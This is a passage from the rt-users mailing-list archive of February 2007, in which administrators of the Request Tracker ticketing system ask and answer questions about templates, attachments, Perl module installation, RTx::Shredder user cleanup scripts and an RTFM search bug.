Date: Wed, 21 Feb 2007 18:24:47 +0300
Subject: [rt-users] Promlem with OnChangeQueue and Attachements
In-Reply-To: <45DC5398.8050704@podolsk.ru>
References: <45DC5398.8050704@podolsk.ru>
Message-ID: <589c94400702210724p4433b9cavaf3b1123886051cb@mail.gmail.com>

http://wiki.bestpractical.com/?Template
Grep text for 'attach'.

On 2/21/07, ??????? ??????? <valery at podolsk.ru> wrote:
> Hi, all.
>
> So, i've got new ticket with some text and attached file.
>
>
> When i move it from one queue to another, and RT notifying me with template:
>
> .
> .
> .
>
> {$Ticket->Transactions->First->Content()}
>
> I'am recieving a letter with text part only. Yes, it's okay, because of
> template. :)
> But. How can i write a template or a scrip to get mail with attached file.
>
> PS When my template was:
>
> .
> .
> .
>
>
> {$Transaction->Content()}
>
> I got a : "This transaction appears to have no content".
>
> Yes, i am understand that transaction (when you moving ticket between
> queues) has no content.
> But i can't solve this problem :(
>
> Thank you.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.

From jjames at mango-solutions.com  Wed Feb 21 10:54:36 2007
From: jjames at mango-solutions.com (John James)
Date: Wed, 21 Feb 2007 15:54:36 -0000
Subject: [rt-users] Stopping certain queues going public?
In-Reply-To: <589c94400702210724p4433b9cavaf3b1123886051cb@mail.gmail.com>
References: <45DC5398.8050704@podolsk.ru>
	<589c94400702210724p4433b9cavaf3b1123886051cb@mail.gmail.com>
Message-ID: <003f01c755d0$9621bb20$150aa8c0@MangoSolutions.local>

Hi

How can I stop certain queues appearing in the 

"RT Self Service / Create a ticket" web page? - despite apparently setting
all the ACL's as tight as possible, while still allowing individual users to
see their tickets.

HTH

John




From falcone at bestpractical.com  Wed Feb 21 11:43:38 2007
From: falcone at bestpractical.com (Kevin Falcone)
Date: Wed, 21 Feb 2007 11:43:38 -0500
Subject: [rt-users] Problem installing HTML::TreeBuilder and
	HTML::FormatText
In-Reply-To: <20070220133336.K37912@malcolm.berkeley.edu>
References: <20070216105713.M60053@malcolm.berkeley.edu>
	<20070220133336.K37912@malcolm.berkeley.edu>
Message-ID: <B8CAEA3A-894A-42D0-A9EF-430DBCF189D9@bestpractical.com>


On Feb 20, 2007, at 4:47 PM, Mike Friedman wrote:

> I'm still trying to install the perl pre-reqs for RT 3.6.3 on  
> Solaris 10 (see below).  In addition to the two modules  
> HTML::TreeBuilder and HTML::FormatText refusing to install, now I  
> notice this when I run 'make fixdeps':
>
>   Text::Quoted 1.3...MISSING
>     Text::Quoted version 1.3 required--this is only version 1.10 at  
> (eval 71) line 2.

You can safely ignore this, it is just a versioning snafu (internally  
perl is seeing 1.10 as 1.1) and we'll release a new Text::Quoted to  
fix this.

-kevin


From kamber.dalal at verizonbusiness.com  Wed Feb 21 11:51:03 2007
From: kamber.dalal at verizonbusiness.com (Dalal, Kamber Z (Kamber))
Date: Wed, 21 Feb 2007 16:51:03 +0000
Subject: [rt-users] Canned Responses
Message-ID: <2ACF6489BC112B4F9C8956BADB9228E6057620E3@ASHEVS005.mcilink.com>

In RT Wiki,  Steve Turner has posted, Apr. 6th, 2006, code for canned
responses in two Callback files.
 
I am new to RT and need assistance for the following:
 
What is meant by:
 
.../local/html/Callbacks/<whatever>/Ticket/
 
for I do not see the Callbacks folder in ver. 3.6.3.  Do I just create
it, and <whatever> stands for any name of my choosing?
Would this be global, or can it be queue specific and how?
Will it use canned response templates already set-up, global and/or
queue specific?  Or need to create new template files in specific
directory?
 
Thank you,
Kamber Dalal
 
 
 
 
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From kamber.dalal at verizonbusiness.com  Wed Feb 21 11:55:23 2007
From: kamber.dalal at verizonbusiness.com (Dalal, Kamber Z (Kamber))
Date: Wed, 21 Feb 2007 16:55:23 +0000
Subject: [rt-users] Canned Responses
Message-ID: <2ACF6489BC112B4F9C8956BADB9228E6057620FB@ASHEVS005.mcilink.com>

In RT Wiki,  Steve Turner has posted, Apr. 6th, 2006, code for canned
responses in two Callback files.
 
I am new to RT and need assistance for the following:
 
What is meant by:
 
.../local/html/Callbacks/<whatever>/Ticket/
 
for I do not see the Callbacks folder in ver. 3.6.3.  Do I just create
it, and <whatever> stands for any name of my choosing?
Would this be global, or can it be queue specific and how?
Will it use canned response templates already set-up, global and/or
queue specific?  Or need to create new template files in specific
directory?
 
Thank you,
Kamber Dalal
 
 
 
 
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From sturner at MIT.EDU  Wed Feb 21 12:07:49 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Wed, 21 Feb 2007 12:07:49 -0500
Subject: [rt-users] Canned Responses
In-Reply-To: <2ACF6489BC112B4F9C8956BADB9228E6057620FB@ASHEVS005.mcilink .com>
References: <2ACF6489BC112B4F9C8956BADB9228E6057620FB@ASHEVS005.mcilink.com>
Message-ID: <6.2.3.4.2.20070221120513.03d053a0@po14.mit.edu>

At Wednesday 2/21/2007 11:55 AM, Dalal, Kamber Z (Kamber) wrote:
>In RT Wiki,  Steve Turner has posted, Apr. 6th, 2006, code for 
>canned responses in two Callback files.
>
>I am new to RT and need assistance for the following:
>
>What is meant by:
>
>.../local/html/Callbacks/<whatever>/Ticket/
>
>for I do not see the Callbacks folder in ver. 3.6.3.  Do I just 
>create it, and <whatever> stands for any name of my choosing?
>Would this be global, or can it be queue specific and how?
>Will it use canned response templates already set-up, global and/or 
>queue specific?  Or need to create new template files in specific directory?
>
>Thank you,
>Kamber Dalal
>

Hello Kamber,

Yes, you are correct - you should create the directory yourself, and 
<whatever> can be any name you like. Make sure the directories & 
files you create are readable by the web server.

The code in the wiki will show any queue-specific templates you have 
already set up (for the ticket's queue)

Thanks,
Steve  



From mikef at ack.berkeley.edu  Wed Feb 21 12:29:30 2007
From: mikef at ack.berkeley.edu (Mike Friedman)
Date: Wed, 21 Feb 2007 09:29:30 -0800 (PST)
Subject: [rt-users] Problem installing HTML::TreeBuilder and
	HTML::FormatText
In-Reply-To: <B8CAEA3A-894A-42D0-A9EF-430DBCF189D9@bestpractical.com>
References: <20070216105713.M60053@malcolm.berkeley.edu>
	<20070220133336.K37912@malcolm.berkeley.edu>
	<B8CAEA3A-894A-42D0-A9EF-430DBCF189D9@bestpractical.com>
Message-ID: <20070221091535.O66282@malcolm.berkeley.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Wed, 21 Feb 2007 at 11:43 (-0500), Kevin Falcone wrote:

> On Feb 20, 2007, at 4:47 PM, Mike Friedman wrote:
>
>> I'm still trying to install the perl pre-reqs for RT 3.6.3 on Solaris 
>> 10 (see below).  In addition to the two modules HTML::TreeBuilder and 
>> HTML::FormatText refusing to install, now I notice this when I run 
>> 'make fixdeps':
>>
>>  Text::Quoted 1.3...MISSING
>>    Text::Quoted version 1.3 required--this is only version 1.10 at (eval 
>> 71) line 2.
>
> You can safely ignore this, it is just a versioning snafu (internally 
> perl is seeing 1.10 as 1.1) and we'll release a new Text::Quoted to fix 
> this.

Kevin,

Thanks.  I should apologize for raising that, since I see it was dealt 
with in a posting just a couple of days ago.

However, my subject line is more to the point.  I can't seem to get the 
two modules HTML::TreeBuilder and HTML::FormatText to install because of 
what appears to be a Unicode-related problem.  At least that seems to be 
the case based on this error message (lines wrapped by me for readability):

=======================
   Running make test
   PERL_DL_NONLAZY=1 /opt/csw/bin/perl "-MExtUtils::Command::MM"
      "-e" "test_harness(0, 'blib/lib', 'blib/arch')" t/*.t
   t/00system..........  t/00system..........ok 1/2   t/00system..........ok
   t/assubs............  t/assubs............ok 1/74  t/assubs............ok
   t/attributes........
   Wide character in print at /opt/csw/share/perl/5.8.8/Test/Builder.pm line 1182.

   Wide character in print at /opt/csw/share/perl/5.8.8/Test/Builder.pm line 1199.
   #   Failed test 'href should contain 'lang' (is: http://wherever/moo.cgi?xyz=123\342\214\251=en)'
   #   in t/attributes.t at line 25.
=======================

I get the same message for both modules.

Is there any way around this?

Thanks.

Mike

_________________________________________________________________________
Mike Friedman                        IST/System and Network Security
mikef at ack.Berkeley.EDU               2484 Shattuck Avenue
1-510-642-1410                       University of California at Berkeley
http://socrates.berkeley.edu/~mikef  http://security.berkeley.edu
_________________________________________________________________________

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From ruslan.zakirov at gmail.com  Wed Feb 21 13:55:23 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 21:55:23 +0300
Subject: [rt-users] Bug... maybe
In-Reply-To: <1170341588.9393.1086.camel@scotth.emsphone.com>
References: <1170341588.9393.1086.camel@scotth.emsphone.com>
Message-ID: <589c94400702211055j4b2e6954x53132906a9ff3687@mail.gmail.com>

Thanks, fixed in 3.6.HEAD.

On 2/1/07, Scott T. Hildreth <shildreth at allantgroup.com> wrote:
> This is was occurring on 3.6.0 & 3.6.3.
>
> A user created a queue 'Foo & Bar'.  When "RT at a glance" page
> came up, you can see the queue in the Quick Search box.  If it is
> clicked none of the tickets would show up, but if a search is done
> with "Queue is Foo & Bar" the tickets would be displayed.  I finally
> figured out it was the '&' causing the problem.  I renamed the queue
> and all is well.  Is the '&' causing html problems?  Should there be
> a constraint on queue names that doesn't allow certain characters?
>
> Thanks.
>
> --
> Scott T. Hildreth <shildreth at allantgroup.com>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Wed Feb 21 14:01:48 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 22:01:48 +0300
Subject: [rt-users] Error in outgoing email record
In-Reply-To: <45B6EF84.2020307@cryologic.com>
References: <45B6EF84.2020307@cryologic.com>
Message-ID: <589c94400702211101r5531e03bi8b1f36ed5738d433@mail.gmail.com>

Try 3.6.3

On 1/24/07, Taan Lindemans <taan at cryologic.com> wrote:
> A small issue:
>
> A html format email with an attachment is sent to rt (3.6.0).
> The message and attachment appear in the ticket.
> The correct email with attachment is sent to the requestor.
> However the log of this email in the ticket contains "This transaction
> appears to have no content".
>
> Currently I am doing some extra mail filtering to catch outgoing emails
> so I can verify they are correct, but it would be nice to rely on the rt
> log. It would also be nice if nobody ever sent html emails, but I live
> in the real world.
>
> I think somebody else noticed a similar thing before.
>
> Taan
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From ruslan.zakirov at gmail.com  Wed Feb 21 14:04:20 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 21 Feb 2007 22:04:20 +0300
Subject: [rt-users] Error: "Use of uninitialized value in subroutine entry
	at Encode.pm line 190."
In-Reply-To: <de2590e90701050354k4a10c00av26671a32155c833b@mail.gmail.com>
References: <de2590e90701050354k4a10c00av26671a32155c833b@mail.gmail.com>
Message-ID: <589c94400702211104q1a1c30f1l9357734a25c002da@mail.gmail.com>

Have you tried update of Encode perl module?

On 1/5/07, Alex Moura <alexsm at gmail.com> wrote:
> Hello,
>
> I haven't found information in the Internet and list history about this
> problem and I've decided to ask for your advice.
>
> After a recent upgrade in perl (from 5.8.7 to 5.8.8) and all RT perl
> components of our FreeBSD-6.1 server, we've detected a problem
> where the web interface cannot show a specific ticket history and we
> haven't noticed this problem before.
>
> When we try to access the ticket with the problem, the messages
> recorded in the apache log are:
>
> [Fri Jan  5 09:10:14 2007] [error] [client 200.143.193.21] FastCGI:
> server "/usr/local/rt3/bin/mason_handler.fcgi" stderr: Use
> of uninitialized
> value in subroutine entry at
> /usr/local/lib/perl5/site_perl/5.8.8/mach/Encode.pm line
> 190.
>
> [Fri Jan  5 09:10:25 2007] [warn] FastCGI: server
> "/usr/local/rt3/bin/mason_handler.fcgi" (pid 1871)
> terminated due
> to uncaught signal '11' (Segmentation fault)
>
> And the effect in the web interface is that the ticket history is shown
> incomplete. It shows a few messages of the ticket history and stops
> in the middle of a specific message and doesn't display the rest of
> the history.
>
> To try to solve this problem, today I upgraded RT from
> 3.4.4 to 3.4.5 using the FreeBSD ports, and forced the
> reinstallation of the whole set of required software
> components, including apache and mysql. The error
> meesages above are still the same after this complete
> upgrade.
>
> It seems that the problem appeared after upgrading - in the
> beginning of this week - perl from v.5.8.7 to v.5.8.8, more
> specifically in the file
> /usr/local/lib/perl5/site_perl/5.8.8/mach/Encode.pm.
>
> We would like at least a workaround to recover the ticket
> history content, so we can move on with our work.
>
> We wouldn't bother in opening a new ticket and deleting
> the problematic one after we recover the data we need.
>
> I'd appreciate any tips.
>
> Best regards,
>
> Alex
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From KFCrocker at lbl.gov  Wed Feb 21 15:20:02 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Wed, 21 Feb 2007 12:20:02 -0800
Subject: [rt-users] Promlem with OnChangeQueue and Attachements
In-Reply-To: <45DC5398.8050704@podolsk.ru>
References: <45DC5398.8050704@podolsk.ru>
Message-ID: <45DCA972.3080905@lbl.gov>

???????,


	Why in the world would you want to copy/send out tons of attachments 
when they are already stored? Isn't an E_mail referencing the change 
enough? That's just way too much info flying around for me. Once is 
enough. After that, let 'em look it up. Just curious.

Kenn
LBNL

??????? ??????? wrote:
> Hi, all.
> 
> So, i've got new ticket with some text and attached file.
> 
> 
> When i move it from one queue to another, and RT notifying me with 
> template:
> 
> .
> .
> .
> 
> {$Ticket->Transactions->First->Content()}
> 
> I'am recieving a letter with text part only. Yes, it's okay, because of 
> template. :)
> But. How can i write a template or a scrip to get mail with attached file.
> 
> PS When my template was:
> 
> .
> .
> .
> 
> 
> {$Transaction->Content()}
> 
> I got a : "This transaction appears to have no content".
> 
> Yes, i am understand that transaction (when you moving ticket between 
> queues) has no content.
> But i can't solve this problem :(
> 
> Thank you.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy 
> a copy at http://rtbook.bestpractical.com
> 


From HelmuthRamirez at compupay.com  Wed Feb 21 17:24:00 2007
From: HelmuthRamirez at compupay.com (Helmuth Ramirez)
Date: Wed, 21 Feb 2007 17:24:00 -0500
Subject: [rt-users] Promlem with OnChangeQueue and Attachements
References: <45DC5398.8050704@podolsk.ru> <45DCA972.3080905@lbl.gov>
Message-ID: <7314881427FC8A4081673E8CEEA79249044E3089@EXMIAMI01.compupay.com>

Well, if the ticket is being moved to another queue, then another group is getting the 'new' ticket.  Its not HORRIBLE to log into RT and check the attachment, but it would be nice to be able to open the attachment and reply to the ticket all via your e-mail client.

My 2cents

-----Original Message-----
From: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Kenneth Crocker
Sent: Wednesday, February 21, 2007 3:20 PM
To: ??????? ???????
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] Promlem with OnChangeQueue and Attachements

???????,


	Why in the world would you want to copy/send out tons of attachments 
when they are already stored? Isn't an E_mail referencing the change 
enough? That's just way too much info flying around for me. Once is 
enough. After that, let 'em look it up. Just curious.

Kenn
LBNL

??????? ??????? wrote:
> Hi, all.
> 
> So, i've got new ticket with some text and attached file.
> 
> 
> When i move it from one queue to another, and RT notifying me with 
> template:
> 
> .
> .
> .
> 
> {$Ticket->Transactions->First->Content()}
> 
> I'am recieving a letter with text part only. Yes, it's okay, because of 
> template. :)
> But. How can i write a template or a scrip to get mail with attached file.
> 
> PS When my template was:
> 
> .
> .
> .
> 
> 
> {$Transaction->Content()}
> 
> I got a : "This transaction appears to have no content".
> 
> Yes, i am understand that transaction (when you moving ticket between 
> queues) has no content.
> But i can't solve this problem :(
> 
> Thank you.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy 
> a copy at http://rtbook.bestpractical.com
> 
_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com
Commercial support: sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com


From rfh at pipex.net  Wed Feb 21 17:45:09 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Wed, 21 Feb 2007 22:45:09 +0000
Subject: [rt-users] Having intial Requesters additions included in ticket
	history
In-Reply-To: <589c94400702201828x4dd13195y9b31cff878334333@mail.gmail.com>
References: <45D9C4D4.3010906@pipex.net>
	<589c94400702201828x4dd13195y9b31cff878334333@mail.gmail.com>
Message-ID: <45DCCB75.80905@pipex.net>

Hi Ruslan;
Understand and agree with you in principal, however a Tech supp manager 
would like to know who/when added the wrong requester, saying "trust me 
these requesters were added when the ticket was created" ... does n't 
work any more..
I am just wondering if anyone have a suggestion or a work around .. 
Thanks for you reply.
Roy

Ruslan Zakirov wrote:
> On 2/19/07, Roy El-Hames <rfh at pipex.net> wrote:
>> Hi there;
>> rt-3.6.1 apache2, mod_perl2, mysql5
>>
>> When a ticket is created from the web interface,an agent in most cases
>> will enter a customer email address as requester, is there any way that
>> this action is added/included in the ticket history, similar to how
>> adding a requester from the People tab is recorded (user - Requester
>> Blah added) ..
>> I know I need to call
>> Transaction->AddWatcher,
>> but how and from where ??
> Why do you need another transaction? In the most cases I heard about
> people want to merge all changes during creation into one transaction.
>
>>
>> Many thanks;
>> Roy
>



From alden at math.ohio-state.edu  Wed Feb 21 18:31:13 2007
From: alden at math.ohio-state.edu (Dave Alden)
Date: Wed, 21 Feb 2007 18:31:13 -0500
Subject: [rt-users] remove summary from 'RT at a glance'
In-Reply-To: <589c94400702201732g4402e64aibacec6830b502b2a@mail.gmail.com>
References: <20070122211448.GA9091@math.ohio-state.edu>
	<bdbd084b0701222325w40416635va2bb2814427e5611@mail.gmail.com>
	<20070123121030.GA10526@math.ohio-state.edu>
	<589c94400702201732g4402e64aibacec6830b502b2a@mail.gmail.com>
Message-ID: <20070221233110.GA16745@math.ohio-state.edu>

Hi,

On Wed, Feb 21, 2007 at 04:32:34AM +0300, Ruslan Zakirov wrote:
> Backporting was easy so it's coming in 3.6.4.

Thank you, thank you, thank you.  :-)

...dave



> On 1/23/07, Dave Alden <alden at math.ohio-state.edu> wrote:
> >Hi,
> >
> >On Tue, Jan 23, 2007 at 08:25:33AM +0100, Torsten Brumm wrote:
> >> do you have a screenshot of what you mean??? Should it look like this??? 
> >See
> >> attached Screen.
> >
> >No - I want the main screen (the left 2/3rds of your screen) to take up the
> >entire screen (I don't have anything on the right 1/3rd because I deleted
> >it all from the RT at a glance preference page).  Ruslan Zakirov has 
> >already
> >responded with "this is in 3.7" - so it's coming.  :-)
> >
> >...dave
> >
> >--
> >Dave Alden
> >The Ohio State University
> >Department of Mathematics
> >_______________________________________________
> >http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> >Community help: http://wiki.bestpractical.com
> >Commercial support: sales at bestpractical.com
> >
> >
> >Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> >Buy a copy at http://rtbook.bestpractical.com
> >
> 
> 
> -- 
> Best regards, Ruslan.

-- 
Dave Alden
The Ohio State University
Department of Mathematics


From ruslan.zakirov at gmail.com  Wed Feb 21 18:53:47 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Thu, 22 Feb 2007 02:53:47 +0300
Subject: [rt-users] Having intial Requesters additions included in ticket
	history
In-Reply-To: <45DCCB75.80905@pipex.net>
References: <45D9C4D4.3010906@pipex.net>
	<589c94400702201828x4dd13195y9b31cff878334333@mail.gmail.com>
	<45DCCB75.80905@pipex.net>
Message-ID: <589c94400702211553g663f0712uaa5b4ad4f98cd769@mail.gmail.com>

I think it would be easier to extend the people box. You can scan
{Add,Del}Watcher transactions and list who added all these people with
links to transactions.
So box can look like this:
* foo@ (on create)
* bar@ (added by X)
* <grey>zoo@</grey> (deleted by Y)

On 2/22/07, Roy El-Hames <rfh at pipex.net> wrote:
> Hi Ruslan;
> Understand and agree with you in principal, however a Tech supp manager
> would like to know who/when added the wrong requester, saying "trust me
> these requesters were added when the ticket was created" ... does n't
> work any more..
> I am just wondering if anyone have a suggestion or a work around ..
> Thanks for you reply.
> Roy
>
> Ruslan Zakirov wrote:
> > On 2/19/07, Roy El-Hames <rfh at pipex.net> wrote:
> >> Hi there;
> >> rt-3.6.1 apache2, mod_perl2, mysql5
> >>
> >> When a ticket is created from the web interface,an agent in most cases
> >> will enter a customer email address as requester, is there any way that
> >> this action is added/included in the ticket history, similar to how
> >> adding a requester from the People tab is recorded (user - Requester
> >> Blah added) ..
> >> I know I need to call
> >> Transaction->AddWatcher,
> >> but how and from where ??
> > Why do you need another transaction? In the most cases I heard about
> > people want to merge all changes during creation into one transaction.
> >
> >>
> >> Many thanks;
> >> Roy
> >
>
>


-- 
Best regards, Ruslan.


From theillien at yahoo.com  Thu Feb 22 00:05:35 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 22 Feb 2007 00:05:35 -0500
Subject: [rt-users] Further RTx::Shredder Errors
In-Reply-To: <45DC07B2.5070004@yahoo.com>
References: <45DC07B2.5070004@yahoo.com>
Message-ID: <45DD249F.8000605@yahoo.com>

I'm looking through the code for Shredder.pm trying to figure this out.  I see a
PutResolver method as well as ApplyResolver method.  However, I'm coming up
short on how to tell it what to use as the dependency resolver.  Using the CLI I
would run
rtx-shredder --force --plugin
'Users=status,any;email,address;replace_relations,Nobody'

How do I fit this in using the API?

Mathew


Mathew Snyder wrote:
>>From this
> 
> RTx::Shredder::Init( force => 1 );
> my $shredder = new RTx::Shredder(RT::SystemUser);
> if ($ans =~ m/^(y|yes)$/i){
> #       my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
> ?/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql? );
>         my $email;
>         foreach $email (@emails){
>                 my $user = new RT::User(RT::SystemUser);
>                 $user->LoadByEmail($email);
>                 next unless $user->id;
>                 $shredder->PutObject(Object => $user);
>         }
>         $shredder->WipeoutAll;
> #               system "/usr/local/rt-3.6.1/local/sbin/rtx-shredder --force
> --plugin 'Users=status,any;email,$email;replace_relations,Nobody'";
> #
> system("/usr/local/rt-3.6.1/local/sbin/rtx-shredder","--force","--plugin","Users=status,any;email,$email;replace_relations,Nobody");
> }
> 
> I get this
> 
> [Wed Feb 21 08:44:20 2007] [crit]: Couldn't wipeout object: Couldn't find
> resolver for dependency 'RT::User-240410 (depends on,resolvable dependency)
> RT::Attachment-270285' at /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line
> 393. (/usr/local/rt-3.6.1/lib/RT.pm:317)
> Couldn't wipeout object: Couldn't find resolver for dependency 'RT::User-240410
> (depends on,resolvable dependency) RT::Attachment-270285' at
> /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line 393.
> 
> Can someone shed some light on why this is failing?
> 
> Also, the above, commented-out line regarding SetFile produces this
> 
> Unrecognized character \xE2 at ./delete_spam_users.pl line 91
> 
> I don't know what the \xE2 is as I couldn't find anything on Google about it.
> 
> Mathew
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From theillien at yahoo.com  Thu Feb 22 03:35:05 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Thu, 22 Feb 2007 03:35:05 -0500
Subject: [rt-users] Further RTx::Shredder Errors
In-Reply-To: <45DC07B2.5070004@yahoo.com>
References: <45DC07B2.5070004@yahoo.com>
Message-ID: <45DD55B9.5020905@yahoo.com>

I think I'm making progress.  This is what I now have

RTx::Shredder::Init( force => 1 );
my $shredder = new RTx::Shredder(RT::SystemUser);
my $resolver = new RTx::Shredder::Plugin::Users(RT::SystemUser);
if ($ans =~ m/^(y|yes)$/i){
        my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
'/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql' );
        my $email;
        foreach $email (@emails){
                my $user = new RT::User(RT::SystemUser);
                $user->LoadByEmail($email);
                next unless $user->id;
                $resolver->SetResolver(Shredder => 10);
                $shredder->PutObject(Object => $user);
        }
        $shredder->WipeoutAll;
}else{
        exit;
}

Now, instead of getting an error regarding resolvers, I am getting

[crit]: Odd number of elements in anonymous hash at
/usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.
(/usr/local/rt-3.6.1/lib/RT.pm:317)
Odd number of elements in anonymous hash at
/usr/local/rt-3.6.1/local/lib/RTx/Shredder/Plugin/Base.pm line 23.

Looking at some of the code in there I think I should be using $resolver to
establish the "replace_relations" bit and then fitting that into the $shredder
somehow.  Any thoughts?

Mathew

Mathew Snyder wrote:
>>From this
> 
> RTx::Shredder::Init( force => 1 );
> my $shredder = new RTx::Shredder(RT::SystemUser);
> if ($ans =~ m/^(y|yes)$/i){
> #       my ($fname, $fh) = $shredder->SetFile( FromStorage => 0, FileName =>
> ?/usr/local/rt-3.6.1/var/data/RTx-Shredder/Shredder-Users_XXXX.sql? );
>         my $email;
>         foreach $email (@emails){
>                 my $user = new RT::User(RT::SystemUser);
>                 $user->LoadByEmail($email);
>                 next unless $user->id;
>                 $shredder->PutObject(Object => $user);
>         }
>         $shredder->WipeoutAll;
> #               system "/usr/local/rt-3.6.1/local/sbin/rtx-shredder --force
> --plugin 'Users=status,any;email,$email;replace_relations,Nobody'";
> #
> system("/usr/local/rt-3.6.1/local/sbin/rtx-shredder","--force","--plugin","Users=status,any;email,$email;replace_relations,Nobody");
> }
> 
> I get this
> 
> [Wed Feb 21 08:44:20 2007] [crit]: Couldn't wipeout object: Couldn't find
> resolver for dependency 'RT::User-240410 (depends on,resolvable dependency)
> RT::Attachment-270285' at /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line
> 393. (/usr/local/rt-3.6.1/lib/RT.pm:317)
> Couldn't wipeout object: Couldn't find resolver for dependency 'RT::User-240410
> (depends on,resolvable dependency) RT::Attachment-270285' at
> /usr/local/rt-3.6.1/local/lib/RTx/Shredder.pm line 393.
> 
> Can someone shed some light on why this is failing?
> 
> Also, the above, commented-out line regarding SetFile produces this
> 
> Unrecognized character \xE2 at ./delete_spam_users.pl line 91
> 
> I don't know what the \xE2 is as I couldn't find anything on Google about it.
> 
> Mathew
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From cbsilva at student.dei.uc.pt  Thu Feb 22 04:47:59 2007
From: cbsilva at student.dei.uc.pt (Carlos Silva)
Date: Thu, 22 Feb 2007 09:47:59 -0000
Subject: [rt-users] Email problems - Association with Queue
Message-ID: <052b01c75666$8c91b240$835aa8c0@lenaindustria.glena>

Hi, I've followed the Wiki RHEL installguide,

 

http://wiki.bestpractical.com/index.cgi?RHEL4InstallGuide

 

But. there is one thing I want to do and don't understand how!

 

I have a server that's rt.mydomain.com, and other that is mail.mydomain.com,
that is the mail server of my domain.

 

I want that mail that is sent to helpdesk at mydomain.com in server
mail.mydomain.com to be linked to the Helpdesk queue in rt.mydomain.com.

 

How do I configure this? It seems very simple, but yet, I don't know how to
do it in RT ...

 

Best Regards,

Carlos Bruno

 

 

 

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From pape-rt at inf.fu-berlin.de  Thu Feb 22 06:35:54 2007
From: pape-rt at inf.fu-berlin.de (Dirk Pape)
Date: Thu, 22 Feb 2007 12:35:54 +0100
Subject: [rt-users] RTFM 2.2.0RC4 bug (with RT 3.6.3): Search not working
 for values of Cfs with type "select one value" 
Message-ID: <71F266A70F7133EB97F4F484@idefix.mi.fu-berlin.de>

Hello,

is this a known issue?

I have a CF "rt-mi-faq-category" attached to a class "rt-mi-faq". The CF 
has type "select one value" with three values possible one of it is 
"general".

Know composing an article search for class "rt-mi-faq" and value "general" 
for the CF "rt-mi-faq-category" yields all articles of a class in the 
result, regardless of their value of CF "rt-mi-faq-category", which is 
WRONG!

The bookmarkable link for the search is: 
<https://our.rt.server/rt/RTFM/Article/Search.html?Class=4&rt-mi-faq-category~=general>

if searching for content - any field - matches "general", the value of the 
CF is correctly filtered.

I have tried RT::FM::ArticleCollection->LimitCustomField (FIELD => 
"rt-mi-faq-category", VALUE => "general"), which does not work also, so I 
think the problem is in handling this kind of limit.

Regards,
Dirk.

-- 
Dr. Dirk Pape (eAS - Projektleitung Campus Management)
Freie Universitaet Berlin
Grunewaldstr. 34a, 12165 Berlin
Tel. +49 (0)30 838 75143, Fax. +49 (0)30 838 54654


